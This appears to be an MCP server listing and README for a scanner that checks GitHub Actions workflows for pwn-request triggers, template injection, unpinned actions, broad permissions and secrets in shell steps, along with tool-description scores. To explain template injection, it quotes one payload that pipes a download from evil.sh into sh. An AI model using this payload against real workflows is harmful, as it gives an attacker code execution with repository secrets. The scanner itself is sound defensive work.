Scans GitHub Actions workflow files for security risks such as dangerous triggers, template injection, unpinned actions and workflows, excessive permissions, and secrets interpolated into shell steps.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@actions-guard-mcp Check this workflow for security issues before I commit it."
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
A GitHub Actions workflow security scanner, exposed as MCP tools — so an agent can catch the "pwn request" and supply-chain patterns that have caused real incidents (CoreShop, tj-actions, and others) before a workflow file is committed, not after.
Static analysis for GitHub Actions workflows is a mature, well-understood
field — zizmor is a respected,
actively maintained standalone scanner for exactly this. What doesn't
exist yet is a serious MCP wrapper around that class of analysis. The one
project found in a broad search (github-security-mcp) spreads 45 checks
across org settings, secrets, supply chain, and Actions in one generic
tool — 12 stars, no commits in 5 months. Nothing focuses on workflow
security specifically, deeply, as something an agent can call while it's
actively writing or reviewing a workflow file.
Related MCP server: vibecheck
Dangerous triggers (AGMCP-101) — pull_request_target or
workflow_run combined with a checkout step whose ref: or
repository: points at the triggering PR/run's own fork. This is the
exact shape of the CoreShop incident: a workflow that runs with the
base repo's token and secrets, but checks out and executes code from
the fork that triggered it.
Template injection (AGMCP-102) — ${{ ... }} expressions built
from attacker-controlled context (github.event.issue.title,
github.event.pull_request.title, github.event.comment.body,
github.head_ref, a toJSON(github.event) whole-payload dump, and
similar) interpolated directly into a run: step, rather than passed
through env:. The classic shape is
run: echo "${{ github.event.issue.title }}" — an issue title of
"; curl evil.sh | sh # is not a string at that point, it's shell.
Unpinned actions and reusable workflows (AGMCP-103) —
uses: owner/repo@v4 (a tag or branch, both mutable) instead of a
pinned commit SHA; a job-level reusable-workflow call
(jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned the
same mutable way; or a docker://image:tag reference not pinned to a
@sha256: digest. This is the exact supply-chain surface the
tj-actions incident used: a compromised tag pointed everyone using it
at malicious code with no version bump.
Excessive permissions (AGMCP-104) — permissions: write-all, or
explicit broad write scopes (contents, actions, packages, ...),
set at either the workflow level or a job level, on a workflow that
also has a risky trigger, where a narrower scope would do.
Secrets interpolated into shell (AGMCP-105) — ${{ secrets.X }}
used directly in a run: step instead of passed through env:, which
is unnecessary exposure of the raw secret value into the shell command
line / process list rather than an environment variable.
All marker matching (AGMCP-101/102/105) normalizes GitHub Actions'
bracket-notation property access (github.event['issue']['title']) to
the equivalent dot form and matches case-insensitively, since the
expression language treats both as identical.
This is pattern matching over the literal text of ${{ }} expressions
and with:/permissions: blocks — not a full GitHub Actions expression
parser or a data-flow analysis. A clean scan means "no known risky
pattern found in the text as written," not a guarantee the workflow is
safe. Concretely:
No cross-step / env: data-flow tracking. A dangerous value
routed through an intermediate env: variable or a step output before
reaching a checkout ref: or a run: command is invisible to
AGMCP-101/102/105 — only the literal expression in the field being
checked is inspected.
The attacker-controlled-context marker list (AGMCP-102) is a finite, hand-maintained set, not a real enumeration of every context path GitHub Actions exposes. A new or uncommon field can exist that isn't listed yet.
If a clean result matters for a security decision, don't treat it as the last word — zizmor does deeper, more general static analysis of the same file class and is worth running alongside this, not instead of it.
pip install actions-guard-mcp
actions-guard-mcpNo configuration needed — every tool takes a workflow file path or its raw YAML content directly.
Early build.
MIT
Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.
| Name | Required | Description | Default |
|---|---|---|---|
| yaml_content | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full disclosure burden. It clarifies that the input is raw content passed directly (not a file path) and that it is for content not yet on disk, implying a read-only scan. However, it does not explicitly state that the tool has no side effects or what it returns. This is a moderate gap for a non-annotated tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, no fluff, and the core action and scoping constraint are front-loaded. Every word adds value, making it easy to parse quickly.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple one-parameter tool with no annotations and no output schema, the description provides the essential information: what input to provide and when to use it. It lacks details about return formats or error behavior, but for a scanning action the intent is clear. It is complete enough for an agent to invoke correctly in the stated scenario.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has only one parameter (yaml_content) with no description coverage (0%). The description adds meaning by specifying it should be 'raw GitHub Actions workflow YAML content' and clarifies that it is passed directly, not as a file reference. This compensates for the schema's lack of detail, giving an agent sufficient understanding of what to supply.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific action ('Scan raw GitHub Actions workflow YAML content directly') and clearly distinguishes from its sibling by emphasizing 'raw content directly' for 'a workflow being drafted that isn't written to disk yet.' This makes the tool's purpose unambiguous and differentiates it from scan_workflow_file without needing to inspect the sibling.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit context for when to use this tool: 'for a workflow being drafted that isn't written to disk yet.' It implies the alternative (scan_workflow_file) is for when the workflow exists on disk, though it does not name it or provide explicit exclusions. The guidance is clear enough for an agent to decide correctly.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of behavioral disclosure. It communicates a scan (non-destructive, read-operation) intent and specifies the categories analyzed, which gives the agent a solid picture of the tool's behavior. It does not mention auth requirements or what happens if the path is invalid, but for a read-only analysis tool the disclosed scope is reasonably complete.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence front-loads the core action and then enumerates the scan categories tersely. Every clause earns its place; there is no filler, redundancy, or restating of the tool name.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The input side is fully covered given a single, well-contextualized parameter. However, with no output schema and no annotation coverage, the description does not convey what the scan returns—findings, severity levels, or error behavior—which an agent would reasonably want before invoking a security-scanning tool. That return-format gap is the main omission.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, so the description must compensate. The single parameter 'path' is well-named, and the 'workflow file on disk' phrasing reinforces that it is a filesystem path to a YAML/JSON workflow file. This partial compensation covers the parameter's intent, though the description omits specifics like whether the path should be relative or absolute, and whether the file must exist prior to the call.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Scan') with a clear resource ('a GitHub Actions workflow file on disk') and enumerates the exact checks performed (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets interpolated into shell commands). The 'on disk' qualifier cleanly separates it from the sibling scan_workflow_content, which presumably scans content strings rather than files.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The 'on disk' phrase implies this tool is for file paths, giving implicit context about when to reach for it versus scan_workflow_content. However, there is no explicit statement that scan_workflow_content should be used when workflow content is available as a string or inline text, nor any exclusion or alternative named directly. The guidance exists but is left to inference.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
v0.1.0scan_workflow_contentscan_workflow_fileScored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.
GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.
Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.
Zero-config MCP security scanner for AI-generated apps. 25K+ vulnerability patterns.
Scan any public GitHub MCP-server repo for security issues. 37 MCP-specific L1 rules, 8 languages.
